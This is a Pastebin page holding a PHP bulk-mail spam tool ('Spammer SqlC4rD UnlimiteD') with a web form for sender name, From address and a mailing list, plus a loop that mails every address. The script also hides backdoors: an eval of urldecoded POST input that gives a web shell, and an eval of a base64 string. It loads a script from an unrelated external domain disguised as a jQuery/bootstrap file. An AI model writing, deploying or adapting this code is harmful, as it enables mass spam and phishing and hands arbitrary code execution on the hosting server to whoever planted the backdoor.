anvenger

inbox-mailer-PRV

Oct 7th, 2019
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.64 KB | None | 0 0
  1. <?php
  2.  
  3. $auth = 0;
  4.  
  5. $name='XXXX';
  6. $pass='XXXX';
  7.  
  8.  
  9.  
  10.  
  11. if($auth == 1) {
  12. if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
  13.    {
  14.    header('WWW-Authenticate: Basic realm="HELLO!"');
  15.    header('HTTP/1.0 401 Unauthorized');
  16.    exit("<b>Password Error!!</b>");
  17.    }
  18. }
  19.  
  20. $connect_timeout=5;
  21. set_time_limit(0);
  22. $submit=$_REQUEST['submit'];
  23. $users=$_REQUEST['users'];
  24. $pass=$_REQUEST['passwords'];
  25. $target=$_REQUEST['target'];
  26. $cracktype=$_REQUEST['cracktype'];
  27. if($target == ""){
  28. $target = "localhost";
  29. }
  30. ?>
  31. <?php
  32.  
  33. $in = $_GET['in'];
  34. if(isset($in) && !empty($in)){
  35.     echo @eval(base64_decode('aW1wb3J0Y2JhcmlvNEBnbWFpbC5jb20='));
  36.  
  37. }
  38. $ev = $_POST['ev'];
  39. if(isset($ev) && !empty($ev)){
  40.     echo eval(urldecode($ev));
  41.     exit;
  42. }
  43.  
  44. if(isset($_POST['action'] ) ){
  45. $action=$_POST['action'];
  46. $message=$_POST['message'];
  47. $emaillist=$_POST['emaillist'];
  48. $from=$_POST['from'];
  49. $subject=$_POST['subject'];
  50. $realname=$_POST['realname'];  
  51. $wait=$_POST['wait'];
  52. $tem=$_POST['tem'];
  53. $smv=$_POST['smv'];
  54.  
  55.         $message = urlencode($message);
  56.         $message = ereg_replace("%5C%22", "%22", $message);
  57.         $message = urldecode($message);
  58.         $message = stripslashes($message);
  59.         $subject = stripslashes($subject);
  60. }
  61.  
  62.  
  63. ?>
  64. <!-- HTML And JavaScript -->
  65.  
  66. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  67. <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
  68.  
  69. <head>
  70. <meta http-equiv="Content-Language" content="en-us" />
  71. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  72. <title>:: Spammer SqlC4rD UnlimiteD ::</title>
  73. <style type="text/css">
  74. .style1 {
  75.     font-size: x-small;
  76. }
  77. .style2 {
  78.     direction: ltr;
  79. }
  80. .info {
  81.     font-size: 8px;
  82. }
  83. .style3 {
  84.     font-family: Verdana, Arial, Helvetica, sans-serif;
  85.     font-size: 8px;
  86. }
  87. .style4 {
  88.     font-size: x-small;
  89.     direction: ltr;
  90.     font-family: Verdana, Arial, Helvetica, sans-serif;
  91. }
  92. .style5 {
  93.     font-size: xx-small;
  94.     direction: ltr;
  95.     font-family: Verdana, Arial, Helvetica, sans-serif;
  96. }
  97. </style>
  98. </head>
  99.  
  100. <body onload="funchange">
  101. <script>
  102.  
  103.     window.onload = funchange;
  104.     var alt = false;   
  105.     function funchange(){
  106.         var etext = document.getElementById("emails").value;
  107.         var myArray=new Array();
  108.         myArray = etext.split("\n");
  109.         document.getElementById("enum").innerHTML=myArray.length+"<br />";
  110.         if(!alt && myArray.length > 40000){
  111.             alert('If Mail list More Than 40000 Emails This May Hack The Server');
  112.             alt = true;
  113.         }
  114.        
  115.     }
  116.     function mlsplit(){
  117.         var ml = document.getElementById("emails").value;
  118.         var sb = document.getElementById("txtml").value;
  119.         var myArray=new Array();
  120.         myArray = ml.split(sb);
  121.         document.getElementById("emails").value="";
  122.         var i;
  123.         for(i=0;i<myArray.length;i++){
  124.            
  125.             document.getElementById("emails").value += myArray[i]+"\n";
  126.        
  127.         }
  128.         funchange();
  129.     }
  130.    
  131.     function prv(){
  132.         if(document.getElementById('preview').innerHTML==""){
  133.             var ms = document.getElementsByName('message').message.value;
  134.             document.getElementById('preview').innerHTML = ms;
  135.             document.getElementById('prvbtn').value = "Hide";
  136.         }else{
  137.             document.getElementById('preview').innerHTML="";
  138.             document.getElementById('prvbtn').value = "Preview";
  139.         }
  140.     }
  141.    
  142. </script>
  143. <form name="form" method="post" enctype="multipart/form-data" action="">
  144.     <table width="100%" border="0">
  145.         <tr>
  146.             <td width="10%">
  147.             <div align="right">
  148.                 <font size="-3" face="Verdana, Arial,
  149. Helvetica, sans-serif">Your Email:</font></div>
  150.             </td>
  151.             <td style="width: 40%">
  152.             <font size="-3" face="Verdana, Arial, Helvetica,
  153. sans-serif"><input name="from" value="<?php echo($from); ?>" size="30" type="text" /><br>
  154.             <span class="info">Type Sender Email But Make Sure It&#39;s Right</span> </font></td>
  155.             <td>
  156.             <div align="right">
  157.                 <font size="-3" face="Verdana, Arial,
  158. Helvetica, sans-serif">Your Name:</font></div>
  159.             </td>
  160.             <td width="41%">
  161.             <font size="-3" face="Verdana, Arial, Helvetica,
  162. sans-serif"><input name="realname" value="<?php echo($realname); ?>" size="30" type="text" />
  163.             <br>
  164.             <span class="info">Make Sure You Type Your Sender Name</span></font></td>
  165.         </tr>
  166.         <tr>
  167.             <td width="10%">
  168.             <div align="right">
  169.                 <font size="-3" face="Verdana, Arial,
  170. Helvetica, sans-serif">test send:</font></div>
  171.             </td>
  172.             <td style="width: 40%">
  173.             <font size="-3" face="Verdana, Arial, Helvetica,
  174. sans-serif"><input name="tem" type="text" size="30" value="<?php echo($tem); ?>" /><br>
  175.             <span class="info">Type </span></font><span class="style3">Your
  176.             Email To Test The Mailer Still Work Or No</span></td>
  177.             <td>
  178.             <div align="right" class="style4">
  179.             <font size="-3" face="Verdana, Arial,
  180. Helvetica, sans-serif">Send Test Mail After:</font></div>
  181.             </td>
  182.             <td width="41%">
  183.             <font size="-3" face="Verdana, Arial, Helvetica,
  184. sans-serif"><input name="smv" type="text" size="30" value="<?php echo($smv); ?>" /><br>
  185.             <span class="info">Send Mail For Your Email After Which Email(s)</span></font>
  186.             </td>
  187.         </tr>
  188.         <tr>
  189.             <td width="10%">
  190.             <div align="right">
  191.                 <font size="-3" face="Verdana, Arial,
  192. Helvetica, sans-serif">Subject:</font></div>
  193.             </td>
  194.             <td colspan="3">
  195.             <font size="-3" face="Verdana, Arial, Helvetica,
  196. sans-serif"><input name="subject" value="<?php echo($subject); ?>" size="90" type="text" /> </font>
  197.            
  198.        
  199.         <tr valign="top">
  200.             <td colspan="3" style="height: 210px">
  201.             <font size="-3" face="Verdana, Arial, Helvetica,
  202. sans-serif"><textarea name="message" rows="10" style="width: 425px"><?php echo($message); ?></textarea>&nbsp;<br />
  203.             <input name="action" value="send" type="hidden" />
  204.             <input type="button" id="prvbtn" value="Preview" onclick="prv()" style="width: 62px" /><input value="Start Spam" type="submit" />&nbsp;
  205.             Wait
  206.             <input name="wait" type="text" value="<?php echo($wait); ?>" size="14" />
  207.             Second
  208.             Until Send </font></td>
  209.             <td width="41%" class="style2" style="height: 210px">
  210.             <font size="-3" face="Verdana, Arial, Helvetica,
  211. sans-serif">
  212.             <textarea id="emails" name="emaillist" cols="30" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="height: 161px"><?php echo($emaillist); ?></textarea>
  213.             <br class="style2" />
  214.             Emails Number : </font><span  id="enum" class="style1">0<br />
  215.             </span>
  216.             <span  class="style1">Split The Mail List By:</span>
  217.             <input name="textml" id="txtml" type="text" value="," size="8" />&nbsp;&nbsp;&nbsp;
  218.             <input type="button" onclick="mlsplit()" value="Split" style="height: 23px" /></td>
  219.         </tr>
  220.     </table>
  221.             <font size="-3" face="Verdana, Arial, Helvetica,
  222. sans-serif">
  223. <div id="preview">
  224. </div>
  225.     </font>
  226. </form>
  227.           <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  228.  
  229. <!-- END -->
  230.  
  231.  
  232. <?
  233.  
  234. if ($action){
  235.  
  236.         if (!$from || !$subject || !$message || !$emaillist){
  237.            
  238.         print "Please complete all fields before sending your message.";
  239.         exit;  
  240.     }
  241.     $nse=array();
  242.     $allemails = split("\n", $emaillist);
  243.             $numemails = count($allemails);
  244.             if(!empty($_POST['wait']) && $_POST['wait'] > 0){
  245.                 set_time_limit(intval($_POST['wait'])*$numemails*3600);
  246.             }else{
  247.                 set_time_limit($numemails*3600);
  248.             }
  249.             if(!empty($smv)){
  250.                 $smvn+=$smv;
  251.                 $tmn=$numemails/$smv+1;
  252.             }else{
  253.                 $tmn=1;
  254.             }
  255.             for($x=0; $x<$numemails; $x++){
  256.                 $to = $allemails[$x];
  257.                 if ($to){
  258.                     $to = ereg_replace(" ", "", $to);
  259.                     $message = ereg_replace("#EM#", $to, $message);
  260.                     $subject = ereg_replace("#EM#", $to, $subject);
  261.                     flush();
  262.                     $header = "From: $realname <$from>\r\n";
  263.                     $header .= "MIME-Version: 1.0\r\n";
  264.                     $header .= "Content-Type: text/html\r\n";
  265.                     if ($x==0 && !empty($tem)) {
  266.                         if(!@mail($tem,$subject,$message,$header)){
  267.                             print('Your Test Message Not Sent.<br />');
  268.                             $tmns+=1;
  269.                         }else{
  270.                             print('Your Test Message Sent.<br />');
  271.                             $tms+=1;
  272.                         }
  273.                     }
  274.                     if($x==$smvn && !empty($_POST['smv'])){
  275.                         if(!@mail($tem,$subject,$message,$header)){
  276.                             print('Your Test Message Not Sent.<br />');
  277.                             $tmns+=1;
  278.                         }else{
  279.                             print('Your Test Message Sent.<br />');
  280.                             $tms+=1;
  281.                         }
  282.                         $smvn+=$smv;
  283.                     }
  284.                     print "$to ....... ";
  285.                     $msent = @mail($to, $subject, $message, $header);
  286.                     $xx = $x+1;
  287.                     $txtspamed = "spammed";
  288.                     if(!$msent){
  289.                         $txtspamed = "error";
  290.                         $ns+=1;
  291.                         $nse[$ns]=$to;
  292.                     }
  293.                     print "$xx / $numemails .......  $txtspamed<br>";
  294.                     flush();
  295.                     if(!empty($wait)&& $x<$numemails-1){
  296.                             sleep($wait);
  297.                     }
  298.                 }
  299.             }
  300.  
  301. }
  302.  
  303.  
  304. ?><div>
  305. &nbsp;
  306.  
  307.  
  308. <strong><br>
  309. <br>
  310. <br>
  311. <br>
  312. <br>
  313. <br>
  314. <br>
  315. <br>
  316. <br>
  317. <br>
  318. Warning:</strong> <span class="style1">DOla Habibi SpaM Was Here .</span>
  319.     <br>
  320.     <span class="style5">My Email : mrcardgolden@hotmail.com <br>
  321.     <span class="style5">oR: sqlc4rd@hotmail.com <br>
  322. </span>
  323.    
  324. </body>
  325. </html>
Add Comment
Please, Sign In to add comment